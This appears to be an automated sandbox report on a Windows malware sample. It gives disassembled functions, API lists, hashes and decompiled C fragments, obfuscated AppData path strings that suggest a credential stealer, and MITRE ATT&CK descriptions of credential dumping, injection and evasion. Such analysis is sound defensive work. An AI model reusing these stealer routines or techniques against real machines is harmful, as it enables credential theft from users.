
Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 0040970C: GetLocalTime.KERNEL32 ref: 00409733
Part of subcall function 0040970C: CloseHandle.KERNEL32 ref: 0040979A
Part of subcall function 0040970C: MultiByteToWideChar.KERNEL32 ref: 0040982A
Part of subcall function 0040970C: CreateFileW.KERNEL32 ref: 00409865

Strings

%s%s, xrefs: 0040A1AC
%.2d-%.2d-%.4d, xrefs: 0040A14E
%AppData%\Logs\, xrefs: 0040A1A4

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: LocalTime$ByteCharCloseCreateFileHandleMultiWide_vsnprintf
String ID: %.2d-%.2d-%.4d$%AppData%\Logs\$%s%s
API String ID: 1146952123-179548776
Opcode ID: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction ID: 34f9120a3e00634d565d7763f47cba82c7014e7225e68866d6d8ccf2245a1495
Opcode Fuzzy Hash: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction Fuzzy Hash: FC11FAB4418311ABD710EF21D58426FBBE4BF84308F418D2EF8D89B281D7BC8985DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 004134FD, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041352F

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

Strings

kernel32.dll, xrefs: 00413549
EiWVCiFdlW0ZM5C5Q6jf, xrefs: 0041353D
@, xrefs: 0041356B

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressCountLibraryLoadProcTick
String ID: @$EiWVCiFdlW0ZM5C5Q6jf$kernel32.dll
API String ID: 4181504871-1834100647
Opcode ID: f843426d8cf16e237edde9e46910649e4e13414e0e40c15f9c6a36014b23e474
Instruction ID: fa7b763c6c8024e7a4c60085cb5de07acdd8405275a80474374d9d94c1c8e87d
Opcode Fuzzy Hash: f843426d8cf16e237edde9e46910649e4e13414e0e40c15f9c6a36014b23e474
Instruction Fuzzy Hash: DB1193B05083118BDB00EF25D59471BBBE1BF88708F04895EE8888F34AD779D949CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00413040, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32 ref: 0041307E
WideCharToMultiByte.KERNEL32 ref: 004130C0

Strings

@, xrefs: 00413099
localhost, xrefs: 004130CE

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharComputerMultiNameWide
String ID: @$localhost
API String ID: 4013585866-2209486628
Opcode ID: 75619ece23197e83586e66bb1f33d7f654c3ffc02ea5a6723a4e8ea35ab2e647
Instruction ID: 7c038244dc2cd29586230534efa33881c9182a2f6df97460e627dabf8a714e70
Opcode Fuzzy Hash: 75619ece23197e83586e66bb1f33d7f654c3ffc02ea5a6723a4e8ea35ab2e647
Instruction Fuzzy Hash: 4F01C5B0409301AEE320AF26D99476BFBE4EF94714F10891EF49847291D3B985898B87

Uniqueness

Uniqueness Score: -1.00%

Function 004130E8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00413112
WideCharToMultiByte.KERNEL32 ref: 00413154

Strings

Unknown, xrefs: 00413162
@, xrefs: 0041312D

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiNameUserWide
String ID: @$Unknown
API String ID: 2949824840-3125819936
Opcode ID: 09c9c0a9f06fa941f3f5a46c28196dba5f2fafc07f774812d3ae38cfce7fc380
Instruction ID: 75a62b7ad59212d7e7d3757252a2119b8f15ada3fb68da9ed8f134ad780259a0
Opcode Fuzzy Hash: 09c9c0a9f06fa941f3f5a46c28196dba5f2fafc07f774812d3ae38cfce7fc380
Instruction Fuzzy Hash: 830108B0409341AED320AF26D94479BFBE4BBD4714F008A1EE49847290D37985498B97

Uniqueness

Uniqueness Score: -1.00%

Function 004201D0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420225
_assert.MSVCRT ref: 0042024A

Strings

ctx->data_size == 0, xrefs: 00420243
ctx->auth_size % GCM_BLOCK_SIZE == 0, xrefs: 0042021E

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ctx->auth_size % GCM_BLOCK_SIZE == 0$ctx->data_size == 0
API String ID: 1222420520-835260546
Opcode ID: bb76f139360f95cd36ca910dd09579b82c5dd211b2994ce31ac56cc3e2eb7b57
Instruction ID: 99285198ce319d174a993f5890d61c41e10ac662540de5e8efd0e2b11381df18
Opcode Fuzzy Hash: bb76f139360f95cd36ca910dd09579b82c5dd211b2994ce31ac56cc3e2eb7b57
Instruction Fuzzy Hash: 30011A70209310CFC740DF14E4C451A7BF5BFC4358F819A9EE8884B256C378E985DB86

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED42, Relevance: 6.1, APIs: 4, Instructions: 66
fileCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0041ED42(void* __eflags, char _a12, signed int _a18, intOrPtr _a40, char _a48, signed int _a65616, signed int _a65620) {
				signed int _v4;
				int _v8;
				void* _v12;
				signed int _t24;
				signed int _t27;
				signed int _t28;
				int _t31;
				signed int _t34;
				signed int _t35;
				void* _t40;
				void* _t45;
				signed int _t46;
				signed int _t47;
				void* _t48;
				signed int* _t49;

				_t24 = E0041F3F0(0x1004c);
				_t49 = _t48 - _t24;
				_t34 = _a65616;
				_t46 = _a65620;
				if(_t34 != 0) {
					_t45 =  &_a48;
					_t40 =  &_a12;
					_t24 = memset(_t40, memset(_t45, 0, 0x4000 << 2), 9 << 2);
					_t49 =  &(_t49[6]);
					_v12 = _t40;
					 *_t49 = _t46;
					L0041F7B4();
					if(_t24 != 0) {
						goto L1;
					} else {
						_t28 = _a18;
						if((_t28 & 0x00000080) == 0) {
							 *(_t34 + 0x4e008) =  *(_t34 + 0x4e008) | 0x00000001;
						}
						 *(_t34 + 0x4e008) =  *(_t34 + 0x4e008) | _t28 << 0x00000010;
						 *((intOrPtr*)(_t34 + 0x4e00c)) = _a40;
						 *_t49 = _t46;
						_v12 = 0x424983;
						_t24 = fopen(??, ??);
						_t47 = _t24;
						if(_t24 == 0) {
							goto L1;
						} else {
							while(1) {
								_v4 = _t47;
								_v8 = 0x10000;
								_v12 = 1;
								 *_t49 = _t45;
								_t31 = fread(??, ??, ??, ??);
								if(_t31 == 0) {
									break;
								}
								_v8 = _t31;
								_v12 = _t45;
								 *_t49 = _t34;
								if(E0041EC81(_t31) >= 0) {
									continue;
								} else {
									_t35 = _t34 | 0xffffffff;
								}
								L10:
								 *_t49 = _t47;
								fclose(??);
								_t27 = _t35;
								goto L11;
							}
							_t35 = 0;
							goto L10;
						}
					}
				} else {
					L1:
					_t27 = _t24 | 0xffffffff;
				}
				L11:
				return _t27;
			}

APIs

_stat.MSVCRT ref: 0041ED8F
fopen.MSVCRT ref: 0041EDC6
fread.MSVCRT ref: 0041EDE8
fclose.MSVCRT ref: 0041EE0F

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _statfclosefopenfread
String ID:
API String ID: 804335959-0
Opcode ID: e49dcea1558de36b6d26133dc736d865fdae275fbb071cb261454f55feb63192
Instruction ID: c86c0b954f8f68680828bf3fb845d0a681b1f2494741e4076b806c5f4ecabbb7
Opcode Fuzzy Hash: e49dcea1558de36b6d26133dc736d865fdae275fbb071cb261454f55feb63192
Instruction Fuzzy Hash: 68216F746083058ED760AF2AD48039BBBE4EF88754F00893EEDACC7381D67984C58B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5A7, Relevance: 6.1, APIs: 4, Instructions: 55
fileCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0041C5A7(signed int* _a4, struct _IO_FILE* _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v40;
				struct _IO_FILE* _t13;
				int _t15;
				void* _t19;
				void* _t22;
				signed int* _t24;
				struct _IO_FILE* _t26;
				void* _t27;
				signed int _t28;
				void* _t30;
				struct _IO_FILE** _t31;

				_t27 = 0;
				_t31 = _t30 - 0x1c;
				_v40 = 0x424983;
				_t24 = _a4;
				 *_t31 = _a8;
				_t13 = fopen(??, ??);
				if(_t13 == 0) {
					L8:
					return _t27;
				}
				_v36 = 2;
				_v40 = 0;
				_t26 = _t13;
				 *_t31 = _t13;
				_t15 = fseek(??, ??, ??);
				 *_t31 = _t26;
				if(_t15 != 0) {
					L4:
					fclose();
					goto L8;
				}
				_t28 = ftell();
				_t19 = E0041606C(_t24);
				_t27 = _t19;
				if(_t19 != 0) {
					_t24[0xe] = E004161B5;
					_t24[0x11] = _t24;
					 *(_t24[0x12] + 0x3c) = _t26;
					 *_t24 = _t28;
					_t24[1] = _t28 >> 0x1f;
					_t22 = E00416619(_t24, _a12, __eflags);
					__eflags = _t22;
					_t27 = _t22;
					if(_t22 != 0) {
						_t27 = 1;
					} else {
						 *_t31 = _t24;
						E0041C416();
					}
					goto L8;
				}
				 *_t31 = _t26;
				goto L4;
			}

APIs

fopen.MSVCRT ref: 0041C5C3
fseek.MSVCRT ref: 0041C5E1
ftell.MSVCRT ref: 0041C5ED
fclose.MSVCRT ref: 0041C604

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfseekftell
String ID:
API String ID: 256789196-0
Opcode ID: fbcd7f8cca2f724e403eeb8c4da471501aa33c75eb168f4f61c33f7ffa932136
Instruction ID: bcb064d2d33ab52115c011aa6cdc5be578be0ddba1a55773f7ee6e5998b39b7e
Opcode Fuzzy Hash: fbcd7f8cca2f724e403eeb8c4da471501aa33c75eb168f4f61c33f7ffa932136
Instruction Fuzzy Hash: F211A9B09083008FC710BF2AC9C439ABAE4EF44358F45547EE884CB306E779C8858B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00402570, Relevance: 6.1, APIs: 4, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 004025BF
Process32First.KERNEL32 ref: 004025DF
Process32Next.KERNEL32 ref: 00402614
CloseHandle.KERNEL32 ref: 0040261E

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 8705725f05fe9afeeedec4a0c2d3b20b049fa06699c5a5ff1e195fb4d0e9f0db
Instruction ID: dbb4d6dc22455ac6b6b4c8bb6317d27c69ec59bbf57194761826882fdadde184
Opcode Fuzzy Hash: 8705725f05fe9afeeedec4a0c2d3b20b049fa06699c5a5ff1e195fb4d0e9f0db
Instruction Fuzzy Hash: EB1119B0409701AAD710AF15CA856AFFBE8EF80718F008D2FF4C893252D3B99485CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004049CF, Relevance: 5.5, APIs: 4, Instructions: 475COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00404A2F
malloc.MSVCRT ref: 00404A5E
malloc.MSVCRT ref: 00404BBE
malloc.MSVCRT ref: 00404C36

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 4275eca61013efc150f39e41d15500db4927c896ceb4f6f94b199140b28ff20a
Instruction ID: 218a957fe30f9a24676f57bd5ffca8317da6b6ab60db8c5874b423959f2b8a8b
Opcode Fuzzy Hash: 4275eca61013efc150f39e41d15500db4927c896ceb4f6f94b199140b28ff20a
Instruction Fuzzy Hash: F01260B05087608EC711AF62D84523ABBE0AFD5308F45497EE6D49B392EB7C8581CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD3F, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0041DD3F() {
				unsigned int _t61;
				unsigned int _t64;
				intOrPtr _t73;
				intOrPtr* _t84;
				unsigned short _t89;
				intOrPtr _t99;
				intOrPtr* _t106;
				intOrPtr* _t107;
				intOrPtr* _t108;

				_t106 =  *((intOrPtr*)(_t107 + 0x80));
				if(_t106 != 0) {
					_t84 =  *((intOrPtr*)(_t106 + 0x48));
					if(_t84 == 0 ||  *((intOrPtr*)(_t106 + 0x14)) != 2) {
						goto L1;
					} else {
						_t61 =  *(_t106 + 0x10);
						if(_t61 > 0xffff) {
							goto L1;
						}
						 *((intOrPtr*)(_t107 + 0x34)) = 0;
						 *((intOrPtr*)(_t107 + 0x2c)) =  *((intOrPtr*)(_t106 + 4));
						_t99 =  *((intOrPtr*)(_t84 + 4));
						 *((intOrPtr*)(_t107 + 0x28)) =  *_t106;
						 *((intOrPtr*)(_t107 + 0x30)) = _t99;
						 *((intOrPtr*)(_t107 + 0x3c)) = _t99;
						asm("adc edi, 0x0");
						asm("adc ecx, [esp+0x34]");
						if( *((intOrPtr*)(_t107 + 0x2c)) > 0) {
							goto L1;
						}
						if(_t61 == 0) {
							 *((intOrPtr*)(_t107 + 0x30)) = 0;
							 *((intOrPtr*)(_t107 + 0x34)) = 0;
							 *((intOrPtr*)(_t107 + 0x28)) = 0;
							 *((intOrPtr*)(_t107 + 0x2c)) = 0;
							L10:
							memset(_t107 + 0x4a, 0, 0x16 << 0);
							_t108 = _t107 + 0xc;
							_t64 =  *(_t106 + 0x10);
							 *((char*)(_t108 + 0x4a)) = 0x50;
							 *((char*)(_t108 + 0x4b)) = 0x4b;
							 *((char*)(_t108 + 0x4c)) = 5;
							 *((char*)(_t108 + 0x4d)) = 6;
							 *(_t108 + 0x52) = _t64;
							 *(_t108 + 0x54) = _t64;
							_t89 = _t64 >> 8;
							 *(_t108 + 0x53) = _t89;
							 *(_t108 + 0x55) = _t89;
							E00414900(_t108 + 0x56,  *((intOrPtr*)(_t107 + 0x30)));
							E00414900(_t108 + 0x5a,  *((intOrPtr*)(_t108 + 0x28)));
							 *((intOrPtr*)(_t108 + 0x10)) = 0x16;
							 *((intOrPtr*)(_t108 + 0xc)) = _t108 + 0x4a;
							 *((intOrPtr*)(_t108 + 4)) =  *_t106;
							 *((intOrPtr*)(_t108 + 8)) =  *((intOrPtr*)(_t106 + 4));
							 *_t108 =  *((intOrPtr*)(_t106 + 0x44));
							if( *((intOrPtr*)(_t106 + 0x3c))() != 0x16) {
								goto L1;
							}
							_t73 =  *((intOrPtr*)(_t84 + 0x3c));
							if(_t73 != 0) {
								 *_t108 = _t73;
								if(fflush(??) + 1 != 0) {
									goto L12;
								}
								goto L1;
							}
							L12:
							 *_t106 =  *_t106 + 0x16;
							 *((intOrPtr*)(_t106 + 0x14)) = 3;
							asm("adc dword [ebp+0x4], 0x0");
							return 1;
						}
						 *((intOrPtr*)(_t106 + 8)) =  *((intOrPtr*)(_t107 + 0x28));
						 *((intOrPtr*)(_t106 + 0xc)) =  *((intOrPtr*)(_t107 + 0x2c));
						 *((intOrPtr*)(_t107 + 0x10)) =  *((intOrPtr*)(_t107 + 0x3c));
						 *((intOrPtr*)(_t107 + 8)) =  *((intOrPtr*)(_t107 + 0x2c));
						 *((intOrPtr*)(_t107 + 0xc)) =  *_t84;
						 *((intOrPtr*)(_t107 + 4)) =  *((intOrPtr*)(_t107 + 0x28));
						 *_t107 =  *((intOrPtr*)(_t106 + 0x44));
						if( *((intOrPtr*)(_t107 + 0x3c)) !=  *((intOrPtr*)(_t106 + 0x3c))()) {
							goto L1;
						}
						 *_t106 =  *_t106 +  *((intOrPtr*)(_t107 + 0x30));
						asm("adc [ebp+0x4], edx");
						goto L10;
					}
				}
				L1:
				return 0;
			}

Strings

P, xrefs: 0041DE36
K, xrefs: 0041DE3B

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID:
String ID: K$P
API String ID: 0-420285281
Opcode ID: 8a69464f70444901d772828418eb0133d86c5c4489e010a0a704677ec8438a85
Instruction ID: 76b3f71e46e7dd39d433d4e4d553b0a2d3546f8e99cb6a452508f90fdc663846
Opcode Fuzzy Hash: 8a69464f70444901d772828418eb0133d86c5c4489e010a0a704677ec8438a85
Instruction Fuzzy Hash: 3F51C0B09083449FCB50CF29C58468BBBE1AF98318F54892EF8988B351E379D985CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0040F80E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F81C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

%6\Tsd0C MW85gC0d\Tsd0C M5CVid\mWn4R aC5C, xrefs: 0040F821
APPDATA, xrefs: 0040F815

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\Tsd0C MW85gC0d\Tsd0C M5CVid\mWn4R aC5C$APPDATA
API String ID: 4002788684-192518184
Opcode ID: 0fab81466e71abbe963226e17a78c1fbc645ba74b9b0b58d66bc20438fab83ce
Instruction ID: c59c0c3209b6e4d1d9f74c736156fada3f2d08805c64e01a6a820c6a221bf5be
Opcode Fuzzy Hash: 0fab81466e71abbe963226e17a78c1fbc645ba74b9b0b58d66bc20438fab83ce
Instruction Fuzzy Hash: D0F01CF44097019AC700BFA1E4C515EBBF0AF80348F41DC3FA0D89B282D77D84598B16

Uniqueness

Uniqueness Score: -1.00%

Function 0040F41E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F42C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

%6\PWlWSW\a0CnWR\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F431
LOCALAPPDATA, xrefs: 0040F425

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\PWlWSW\a0CnWR\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-2519461285
Opcode ID: 58afc3f2489eec88247307c060aa51acb2e300a174676c78cc6216723058e206
Instruction ID: f6734aec6350df2943a19c6392afeb0eac539fa0626ba44f4f6de0a19879264b
Opcode Fuzzy Hash: 58afc3f2489eec88247307c060aa51acb2e300a174676c78cc6216723058e206
Instruction Fuzzy Hash: 26F01CF44093019AC710BFA5E4C515EBBF0AF80344F41DC3EA4D49B282DB7D84598B06

Uniqueness

Uniqueness Score: -1.00%

Function 0040F51F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F52D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F526
%6\vCRSdf\vCRSdfc0Wg6d0\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F532

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\vCRSdf\vCRSdfc0Wg6d0\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-827255628
Opcode ID: a201e8895971eff9ebe58bfcde2cfb47e37ebee3183dfbc2c07936ce38918b48
Instruction ID: d8bafc2e13ae55d63e500dad1d8c1fea04f901a9aeaceac044b48453edd3ba1e
Opcode Fuzzy Hash: a201e8895971eff9ebe58bfcde2cfb47e37ebee3183dfbc2c07936ce38918b48
Instruction Fuzzy Hash: FFF01CF44093019AD700BFA5E4C515EBBF0AF80344F419C3FA0D49B282EB7D84588B0A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
